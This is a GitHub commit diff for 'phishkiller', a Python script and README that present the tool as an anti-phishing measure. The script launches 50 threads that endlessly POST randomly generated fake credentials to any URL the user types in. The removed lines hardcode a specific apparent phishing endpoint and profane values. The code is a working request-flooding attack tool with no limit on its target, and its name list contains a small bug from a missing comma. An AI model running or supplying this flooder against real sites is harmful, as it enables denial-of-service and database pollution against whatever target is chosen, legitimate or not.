Skip to content

Commit 2779e8c

Browse files
committed
adds random email generation, and custom target
1 parent 1a877a4 commit 2779e8c

File tree

2 files changed

+62
-17
lines changed

2 files changed

+62
-17
lines changed

README.md

Lines changed: 21 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,21 @@
1-
# phishkiller
1+
# Phishkiller
2+
3+
## Overview
4+
This script is designed to combat phishing attacks by flooding phisher databases with false information by flooding attacker database.
5+
6+
## How It Works
7+
Using multi-threading, the script generates random email addresses and passwords from a predefined list of names. Each thread independently sends POST requests to a specified URL, submitting fictitious data to overwhelm phisher databases. This proactive approach aims to dilute and disrupt the accuracy of stolen data, offering a layer of protection to potential victims.
8+
9+
## Purpose
10+
Stop phishing
11+
12+
13+
## Phishkiller usage
14+
Run
15+
```
16+
python phishkiller.py
17+
```
18+
Then paste the url of the target
19+
20+
### Disclaimer
21+
**Note:** This script should be used responsibly and only on systems you have explicit permission to test against.

phishkiller.py

Lines changed: 41 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,27 +1,52 @@
11
import threading
22
import requests
3+
import random
4+
import string
35

4-
url = "https://haquegrp.com/xl/ecc2.php"
6+
# List of names to generate email addresses
7+
names = ["alice", "bob", "charlie", "dave", "eve" "fred", "george",
8+
"harry", "ivan", "james", "kyle", "larry", "mike", "noah", "oliver", "peter",
9+
"quincy", "ricky", "samuel", "tom", "ulysses", "victor", "wesley", "xavier",
10+
"yusuf", "zachary",
11+
]
512

6-
data = {
7-
"a": "fuckyou@fckU.com",
8-
"az": "RIPBOZO"
9-
}
13+
def generate_random_email():
14+
name = random.choice(names)
15+
domain = "@gmail.com" # You can change this domain
16+
return name + str(random.randint(1, 100)) + domain
1017

11-
def send_posts():
18+
def generate_random_password():
19+
# Generate a random password of length 8
20+
letters_and_digits = string.ascii_letters + string.digits
21+
return ''.join(random.choice(letters_and_digits) for i in range(8))
22+
23+
def send_posts(url):
1224
while True:
25+
email = generate_random_email()
26+
password = generate_random_password()
27+
data = {
28+
"a": email,
29+
"az": password
30+
}
1331
response = requests.post(url, data=data)
14-
print(response.status_code)
32+
print(f"Email: {email}, Password: {password}, Status Code: {response.status_code}")
33+
34+
def main():
35+
# Ask user for URL to flood
36+
url = input("Enter the URL of the target you want to flood: ")
37+
38+
threads = []
1539

16-
threads = []
40+
for i in range(50):
41+
t = threading.Thread(target=send_posts, args=(url,))
42+
t.daemon = True
43+
threads.append(t)
1744

18-
for i in range(50):
19-
t = threading.Thread(target=send_posts)
20-
t.daemon = True
21-
threads.append(t)
45+
for i in range(50):
46+
threads[i].start()
2247

23-
for i in range(50):
24-
threads[i].start()
48+
for i in range(50):
49+
threads[i].join()
2550

26-
for i in range(50):
27-
threads[i].join()
51+
if __name__ == "__main__":
52+
main()

0 commit comments

Comments
 (0)